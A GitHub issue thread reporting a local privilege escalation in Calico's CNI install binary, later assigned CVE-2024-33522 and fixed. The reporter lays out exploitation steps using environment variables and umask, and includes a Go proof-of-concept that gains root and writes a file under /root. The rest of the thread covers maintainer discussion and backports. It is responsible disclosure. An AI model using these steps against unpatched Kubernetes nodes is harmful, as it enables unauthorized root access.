10000 Potential Local Privilege Escalation In Calico Install Binary. · Issue #7981 · projectcalico/calico · GitHub
[go: up one dir, main page]
More Web Proxy on the site http://driver.im/
Skip to content

Potential Local Privilege Escalation In Calico Install Binary. #7981

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom
Closed
latortuga71 opened this issue Aug 31, 2023 · 9 comments
Closed

Potential Local Privilege Escalation In Calico Install Binary. #7981

latortuga71 opened this issue Aug 31, 2023 · 9 comments
Assignees
@Behnam-Shobiri
Labels
impact/high kind/bug likelihood/low

Comments

@latortuga71
Copy link

During a security assessment i found a potential local privilege escalation with the calico install binary in
cni-plugn/pkg/install/install.go
cnii-plugin/cmd/calico.go

The binary creates the /host/opt/cni/bin directories if they do not already exist. Also it sets itself to be ran as a suid binary. This can potentially be abused in the following scenario. The binaries have suid bit set to run as the root user but the /host directory does not exist on the system. The abuse stems from the fact that users can control whether files are copied via environment variables. And Control Whether a directory is created or not. Finally it executes a separate binary in a directory we potentially control.

The way to abuse this to privilege escalate to the root user is as follows.

  1. as a normal user set the umask to 0000 then cd into the path
    cd /opt/bin/cni
    then run the install binary with the following environment variables set.
    TLS_ASSESTS_DIR=/ UPDATE_CNI_BINARIES=false ./install

if the /host directory doesn't exist it will be created by root user
by setting our umask before running this we can now create the needed directory that we can place a malicious calico binary that will be executed.

  1. mkdir -p /host/opt/cni/bin
    we can build an example payload shown below
package main

import (
	"fmt"
	"os"
	"syscall"
)

func main(){
    uid := os.Getuid()
    guid := os.Getgid()
    euid, egid := os.Geteuid(), os.Getegid() 
    err := syscall.Setuid(euid);
      if err != nil {
        data := []byte(fmt.Sprintf("Your uid %d guid %d euid %d geuid %d ERRR %s",uid,guid,euid,egid,err.Error()))
        os.WriteFile("/tmp/notroot",data,0777)
      } else {
        data := []byte(fmt.Sprintf("Your uid %d guid %d euid %d geuid %d ERRR %s",uid,guid,euid,egid,"worked"))
        os.WriteFile("/root/exploited",data,0777)
      }
      os.Exit(-1)
  }

and copy it to the directory with the name calico
cp ./calico /host/opt/cni/bin

  1. running the install binary again with the correct env variables
    TLS_ASSESTS_DIR=/ UPDATE_CNI_BINARIES=false ./install
    will tell it to not override our malicious calico binary but it will still execute the following line
cmd := exec.Command(d+"/calico", "-v")

and run our payload to get code execution as root.

This is not a high severity issue by any means but i think it was worth mentioning since it did allow for privilege escalation. In that scenario where the /host folder doesn't exist but the binaries have been built and have the suid set to run as root.

Possible Solution

Instead of executing that binary. Just check if the files exists in the directory perhaps?

Your Environment

  • Kubernetes Control Plane Node.
  • Also tested on fedora
@mazdakn
Copy link
Member
mazdakn commented Sep 5, 2023 •
edited
Loading

@Behnam-Shobiri please take a look at this one.

@mazdakn mazdakn closed this as completed Sep 5, 2023
@mazdakn mazdakn reopened this Sep 5, 2023
@caseydavenport
Copy link
Member

@latortuga71 I'm not entirely following - are you running the install binary from directly on a host system?

Generally that is meant to run from within a container, so the /host/ directory is never actually created on the host system - it's a volume mount of those paths from the host.

I am not sure this is a privilege escalation if in order to run this you need to have access to create and run binaries in the /opt/cni/bin directory on the host already. Perhaps I am misunderstanding something?

@sridhartigera
Copy link
Member

@latortuga71 Any update?

@Behnam-Shobiri
Copy link
Contributor

@sridhartigera we are internally following this bug. Will update this issue once everything is finalized.

@Behnam-Shobiri Behnam-Shobiri self-assigned this Oct 18, 2023
@coutinhop
Copy link
Member

Fixed by #8447 and #8517

@Behnam-Shobiri
Copy link
Contributor

Based on our investigation, we have created CVE-2024-33522 for this issue.
In vulnerable versions of Calico (v3.27.2 and below), Calico Enterprise (v3.19.0-1, v3.18.1, v3.17.3 and below), and Calico Cloud (v19.2.0 and below), an attacker who has local access to the Kubernetes node, can escalate their privileges by exploiting a vulnerability in the Calico CNI install binary. The issue arises from an incorrect SUID (Set User ID) bit configuration in the binary, combined with the ability to control the input binary, allowing an attacker to execute an arbitrary binary with elevated privileges.
For more information please see the official statement https://www.tigera.io/security-bulletins-tta-2024-001/
Thank you again @latortuga71 for reporting this issue.

@GoVulnBot GoVulnBot mentioned this issue Apr 30, 2024
Closed
@zemliany
Copy link

hey, folks! any ETA, when Calico 3.26.5 milestone is expected to be released, where this fix was cherry-picked?

#8537

< 8000 span data-view-component="true">

@Behnam-Shobiri
Copy link
Contributor

@zemliany the fix was picked to 3.26 branch so 3.26.5 will have the fix, as mentioned in https://www.tigera.io/security-bulletins-tta-2024-001/. I am not aware of any near future plan to release 3.26.5 (at least at this moment). However, I do strongly recommend staying on the latest patch of CVE supported release (which is n and n-1 minor version; currently, 3.27 and 3.28) we do multiple upgrades and patches in each patch version.

@zemliany
Copy link

@Behnam-Shobiri thanks for the update! unfortunately, we cannot update straight-forward to 3.28 or to 3.27 versions due to incompatibility with the mentioned Calico version with the current Kubernetes version and Kubernetes version on what we're going to migrate as per system requirements from Calico docs

https://docs.tigera.io/calico/latest/getting-started/kubernetes/requirements
https://docs.tigera.io/calico/3.27/getting-started/kubernetes/requirements

but 3.26 currently fits with the Kubernetes version what we're going to migrate

https://docs.tigera.io/calico/3.26/getting-started/kubernetes/requirements

That's why I've asked the question here

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Assignees

@Behnam-Shobiri Behnam-Shobiri

Labels
impact/high kind/bug likelihood/low
Projects
None yet
Milestone
No milestone
Development

No branches or pull requests
7 participants
@coutinhop @caseydavenport @mazdakn @zemliany @latortuga71 @Behnam-Shobiri @sridhartigera
0